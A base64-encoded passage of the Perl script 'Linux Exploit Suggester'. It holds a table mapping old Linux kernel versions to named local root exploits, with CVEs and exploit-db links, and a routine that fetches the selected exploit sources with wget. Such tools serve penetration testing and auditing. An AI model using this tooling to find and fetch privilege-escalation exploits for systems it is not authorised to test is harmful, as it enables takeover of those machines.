ZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgICAgIGxhc3Q7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMxbUlucHV0IGlzIG91dCBvZiByYW5nZS5cZVswMG0gU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICBwcmludCAiICBcZVswMDszMW1JbnZhbGlkIGlucHV0LlxlWzAwbSBTZWxlY3QgZXhwbG9pdHMgdG8gZG93bmxvYWQ6ICI7CiAgICAgICAgfQogICAgfQp9OwpleGl0OwoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBleHRyYSBmdW5jdGlvbnMgICMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCnN1YiBnZXRfa2VybmVsIHsKICAgIG15ICRraG9zdCA9ICcnOwoKICAgIGlmICggZXhpc3RzICRvcHRze2t9ICkgewogICAgICAgICRraG9zdCA9ICRvcHRze2t9OwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJGtob3N0ID0gYHVuYW1lIC1yIHxjdXQgLWQiLSIgLWYxYDsKICAgICAgICBjaG9tcCAka2hvc3Q7CiAgICB9CgogICAgaWYgKCFkZWZpbmVkICRraG9zdCB8fCAhKCRraG9zdCA9fiAvXlswLTldKyhbLl1bMC05XSspKiQvKSkgewogICAgICAgIHByaW50ICIgIFxlWzAwOzMxbVNwZWNpZmllZCBrZXJuZWwgaXMgaW4gdGhlIHdyb25nIGZvcm1hdFxlWzAwbVxuIjsKICAgICAgICBwcmludCAiICBUcnkgYSBrZXJuZWwgZm9ybWF0IGxpa2UgdGhpczogMy4yLjBcblxuIjsKICAgICAgICBleGl0OwogICAgfQoKICAgICMgcGFydGlhbCBrZXJuZWxzIG1pZ2h0IGJlIHByb3ZpZGVkIGJ5IHRoZSB1c2VyLAogICAgIyBzdWNoIGFzICcyLjQnIG9yICcyLjYuJwogICAgbXkgJGlzX3BhcnRpYWwgPSAka2hvc3QgPX4gL15cZCtcLlxkK1wuXGQ/LyA/IDAgOiAxOwogICAgcmV0dXJuICggJGtob3N0LCAkaXNfcGFydGlhbCApOwp9CgpzdWIgZG93bmxvYWRfZXhwbG9pdHMgewogICAgbXkgKCRzcmVmLCAkYXJlZikgPSBAXzsKICAgIG15IEBzZWxlY3RlZCA9IEB7ICRzcmVmIH07CiAgICBteSBAYXBwbGljYWJsZSA9IEB7ICRhcmVmIH07CiAgICBteSAkZXhwbG9pdF9iYXNlID0gInd3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cyI7CiAgICBteSAkZG93bmxvYWRfYmFzZSA9ICJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9yYXcvIjsKICAgIHByaW50ICJcbiI7CgogICAgZm9yZWFjaCBteSAkbnVtIChAc2VsZWN0ZWQpIHsKICAgICAgICBteSAkbWlsID0gJGFwcGxpY2FibGVbJG51bS0xXXttaWx9OwogICAgICAgIG5leHQgaWYgKCFkZWZpbmVkICRtaWwpOwogICAgICAgIG15ICgkZXhwbG9pdF9udW0pID0gKCRtaWwgPX4gL14uKlwvKFsxLTldWzAtOV0qKVwvPyQvKTsKICAgICAgICAKICAgICAgICBpZiAoJGV4cGxvaXRfbnVtICYmIGluZGV4KCRtaWwsICRleHBsb2l0X2Jhc2UpICE9IC0xKSB7CiAgICAgICAgICAgIG15ICR1cmwgPSAkZG93bmxvYWRfYmFzZSAuICRleHBsb2l0X251bTsKICAgICAgICAgICAgbXkgJGZpbGUgPSAiZXhwbG9pdF8kYXBwbGljYWJsZVskbnVtLTFde2tleX0iOwogICAgICAgICAgICBwcmludCAiICBEb3dubG9hZGluZyBcZVswMDszM20kdXJsXGVbMDBtIC0+IFxlWzAwOzMzbSRmaWxlXGVbMDBtXG4iOwogICAgICAgICAgICBzeXN0ZW0gIndnZXQgJHVybCAtTyAkZmlsZSA+IC9kZXYvbnVsbCAyPiYxIjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHByaW50ICIgIE5vIGV4cGxvaXQgY29kZSBhdmFpbGFibGUgZm9yIFxlWzAwOzMzbSRhcHBsaWNhYmxlWyRudW0tMV17a2V5fVxlWzAwbVxuIjsgCiAgICAgICAgfQogICAgfQogICAgcHJpbnQgIlxuIjsKfQoKc3ViIHVuaXEgewogICAgbXkgJXNlZW47CiAgICBncmVwICEkc2VlbnskX30rKywgQF87Cn0KCnN1YiB1c2FnZSB7CnByaW50X2Jhbm5lcigpOwpwcmludCAiICBcZVswMDszNW1Vc2FnZTpcZVswMG0gJDAgWy1oXSBbLWsga2VybmVsXSBbLWRdXG5cbiI7CnByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0taFxlWzAwbVxlWzAwOzMzbV1cZVswMG0gSGVscCAodGhpcyBtZXNzYWdlKVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1rXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBLZXJuZWwgbnVtYmVyIChlZy4gMi42LjI4KVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1kXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudVxuXG4iOwoKcHJpbnQgIiAgWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KVxuIjsKcHJpbnQgIiAgdG8gc2VlIGFsbCBleHBsb2l0cyBhdmFpbGFibGUuXG5cbiI7Cn0KCnN1YiBwcmludF9iYW5uZXIgewpwcmludCAiXG5cZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG4iOwpwcmludCAiXGVbMTszMW0gICAgTGludXggRXhwbG9pdCBTdWdnZXN0ZXIgJFZFUlNJT05cZVswMG1cbiI7CnByaW50ICJcZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG5cbiI7Cn0KCnN1YiBnZXRfZXhwbG9pdHMgewogIHJldHVybiAoCiAgICAndzAwdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xNicsICcyLjQuMTcnLCAnMi40LjE4JywKICAgICAgICAgICAgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywKICAgICAgICBdCiAgICB9LAogICAgJ2JyaycgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjEwJywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsICcyLjQuMjInIF0sCiAgICB9LAogICAgJ2F2ZScgPT4geyB2dWxuID0+IFsgJzIuNC4xOScsICcyLjQuMjAnIF0gfSwKCiAgICAnZWxmbGJsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNC4yOSddLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNzQ0JywKICAgIH0sCgogICAgJ2VsZmR1bXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40LjI3J10gfSwKICAgICdlbGZjZCcgICAgICAgID0+IHsgdnVsbiA9PiBbJzIuNi4xMiddIH0sCiAgICAnZXhwYW5kX3N0YWNrJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAoKICAgICdoMDBseXNoaXQnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsCiAgICAgICAgICAgICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDA2LTM2MjYnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDEzJywKICAgIH0sCgogICAgJ2tkdW1wJyA9PiB7IHZ1bG4gPT4gWycyLjYuMTMnXSB9LAogICAgJ2ttMicgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4yMicgXSB9LAogICAgJ2tyYWQnID0+CiAgICAgIHsgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdIH0sCgogICAgJ2tyYWQzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL2V4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEzOTcnLAogICAgfSwKCiAgICAnbG9jYWwyNicgPT4geyB2dWxuID0+IFsnMi42LjEzJ10gfSwKICAgICdsb2tvJyAgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnIF0gfSwKCiAgICAnbXJlbWFwX3B0ZScgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjIwJywgJzIuMi4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTYwJywKICAgIH0sCgogICAgJ25ld2xvY2FsJyA9PiB7IHZ1bG4gPT4gWyAnMi40LjE3JywgJzIuNC4xOScgXSB9LAogICAgJ29uZ19iYWsnICA9PiB7IHZ1bG4gPT4gWycyLjYuNSddIH0sCiAgICAncHRyYWNlJyA9PgogICAgICB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywgJzIuNC4yMicgXSB9LAogICAgJ3B0cmFjZV9rbW9kJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLCAnMi40LjIyJyBdLAogICAgICAgIGN2ZSAgPT4gJzIwMDctNDU3MycsCiAgICB9LAogICAgJ3B0cmFjZV9rbW9kMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsICcyLjYuMzEnLAogICAgICAgICAgICAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdpYTMyc3lzY2FsbCxyb2JlcnRfeW91X3N1Y2snLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTAyMycsCiAgICAgICAgY3ZlID0+ICcyMDEwLTMzMDEnLAogICAgfSwKICAgICdwdHJhY2UyNCcgPT4geyB2dWxuID0+IFsnMi40LjknXSB9LAogICAgJ3B3bmVkJyAgICA9PiB7IHZ1bG4gPT4gWycyLjYuMTEnXSB9LAogICAgJ3B5MicgICAgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjE3JywgJzIuNi4xNScsICcyLjYuMTMnIF0gfSwKICAgICdyYXB0b3JfcHJjdGwnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnIF0sCiAgICAgICAgY3ZlICA9PiAnMjAwNi0yNDUxJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMjAzMScsCiAgICB9LAogICAgJ3ByY3RsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA0JywKICAgIH0sCiAgICAncHJjdGwyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA1JywKICAgIH0sCiAgICAncHJjdGwzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA2JywKICAgIH0sCiAgICAncHJjdGw0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDExJywKICAgIH0sCiAgICAncmVtYXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40J10gfSwKICAgICdyaXAnICAgICAgICA9PiB7IHZ1bG4gPT4gWycyLjInXSB9LAogICAgJ3N0YWNrZ3JvdzInID0+IHsgdnVsbiA9PiBbICcyLjQuMjknLCAnMi42LjEwJyBdIH0sCiAgICAndXNlbGliMjQnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMCcsICcyLjQuMTcnLCAnMi40LjIyJywgJzIuNC4yNScsICcyLjQuMjcnLCAnMi40LjI5JyBdCiAgICB9LAogICAgJ25ld3NtcCcgICA9PiB7IHZ1bG4gPT4gWycyLjYnXSB9LAogICAgJ3NtcHJhY2VyJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAogICAgJ2xvZ2lueCcgICA9PiB7IHZ1bG4gPT4gWycyLjQuMjInXSB9LAogICAgJ2V4cC5zaCcgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjEwJywgJzIuNi4xNicsICcyLjYuMTMnIF0gfSwKICAgICd2bXNwbGljZTEnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICAgICAgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI0LjEnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdqZXNzaWNhIGJpZWwnLAogICAgICAgIGN2ZSA9PiAnMjAwOC0wNjAwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MicsCiAgICB9LAogICAgJ3Ztc3BsaWNlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjIzJywgJzIuNi4yNCcgXSwKICAgICAgICBhbHQgID0+ICdkaWFuZV9sYW5lJywKICAgICAgICBjdmUgID0+ICcyMDA4LTA2MDAnLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MycsCiAgICB9LAogICAgJ3Zjb25zb2xlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNiddLAogICAgICAgIGN2ZSAgPT4gJzIwMDktMTA0NicsCiAgICB9LAogICAgJ3NjdHAnID0+IHsKICAgICAgICB2dWxuID0+IFsnMi42LjI2J10sCiAgICAgICAgY3ZlICA9PiAnMjAwOC00MTEzJywKICAgIH0sCiAgICAnZnRyZXgnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAwOC00MjEwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNjg1MScsCiAgICB9LAogICAgJ2V4aXRfbm90aWZ5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy84MzY5JywKICAgIH0sCiAgICAndWRldicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScgXSwKICAgICAgICBhbHQgID0+ICd1ZGV2IDwxLjQuMScsCiAgICAgICAgY3ZlICA9PiAnMjAwOS0xMTg1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvODQ3OCcsCiAgICB9LAoKICAgICdzb2NrX3NlbmRwYWdlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjAnLCAgJzIuNi4xJywKICAgICAgICAgICAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywgICcyLjYuNicsICAnMi42LjcnLAogICAgICAgICAgICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsICcyLjYuMTMnLAogICAgICAgICAgICAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywgJzIuNi4xOCcsICcyLjYuMTknLAogICAgICAgICAgICAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLAogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ3Byb3RvX29wcycsCiAgICAgICAgY3ZlID0+ICcyMDA5LTI2OTInLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy85NDM2JywKICAgIH0sCgogICAgJ3NvY2tfc2VuZHBhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNC40JywgICcyLjQuNScsICAnMi40LjYnLCAgJzIuNC43JywgICcyLjQuOCcsICAnMi40LjknLAogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xMScsICcyLjQuMTInLCAnMi40LjEzJywgJzIuNC4xNCcsICcyLjQuMTUnLAogICAgICAgICAgICAnMi40LjE2JywgJzIuNC4xNycsICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLAogICAgICAgICAgICAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnLCAnMi40LjI1JywgJzIuNC4yNicsICcyLjQuMjcnLAogICAgICAgICAgICAnMi40LjI4JywgJzIuNC4yOScsICcyLjQuMzAnLCAnMi40LjMxJywgJzIuNC4zMicsICcyLjQuMzMnLAogICAgICAgICAgICAnMi40LjM0JywgJzIuNC4zNScsICcyLjQuMzYnLCAnMi40LjM3JywgJzIuNi4wJywgICcyLjYuMScsCiAgICAgICAgICAgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsICAnMi42LjYnLCAgJzIuNi43JywKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywKICAgICAgICAgICAgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywKICAgICAgICAgICAgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI1JywKICAgICAgICAgICAgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICd3dW5kZXJiYXJfZW1wb3JpdW0nLAogICAgICAgIGN2ZSA9PiAnMjAwOS0yNjkyJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvOTQzNScsCiAgICB9LAogICAgJ3VkcF9zZW5kbXNnXzMyYml0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLCAgJzIuNi42JywKICAgICAgICAgICAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLCAnMi42LjEyJywKICAgICAgICAgICAgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLCAnMi42LjE4JywKICAgICAgICAgICAgJzIuNi4xOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMjY5OCcsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL2Rvd25sb2Fkcy5zZWN1cml0eWZvY3VzLmNvbS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvMzYxMDguYycsCiAgICB9LAogICAgJ3BpcGUuY18zMmJpdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjE1JywgJzIuNi4xNicsCiAgICAgICAgICAgICcyLjYuMTcnLCAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsCiAgICAgICAgICAgICcyLjYuMjMnLCAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMzU0NycsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy8zNjkwMS0xLmMnLAogICAgfSwKICAgICdkb19wYWdlc19tb3ZlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnc2lldmUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0wNDE1JywKICAgICAgICBtaWwgPT4gJ1NwZW5kZXJzIEVubGlnaHRlbm1lbnQnLAogICAgfSwKICAgICdyZWlzZXJmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMTE0NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEyMTMwJywKICAgIH0sCiAgICAnY2FuX2JjbScgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC0yOTU5JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTQ4MTQnLAogICAgfSwKICAgICdyZHMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgICAgICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTUyODUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zOTA0JywKICAgIH0sCiAgICAnaGFsZl9uZWxzb24xJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywKICAgICAgICAgICAgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ2Vjb25ldCcsCiAgICAgICAgY3ZlID0+ICcyMDEwLTM4NDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNzc4NycsCiAgICB9LAogICAgJ2hhbGZfbmVsc29uMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40Jy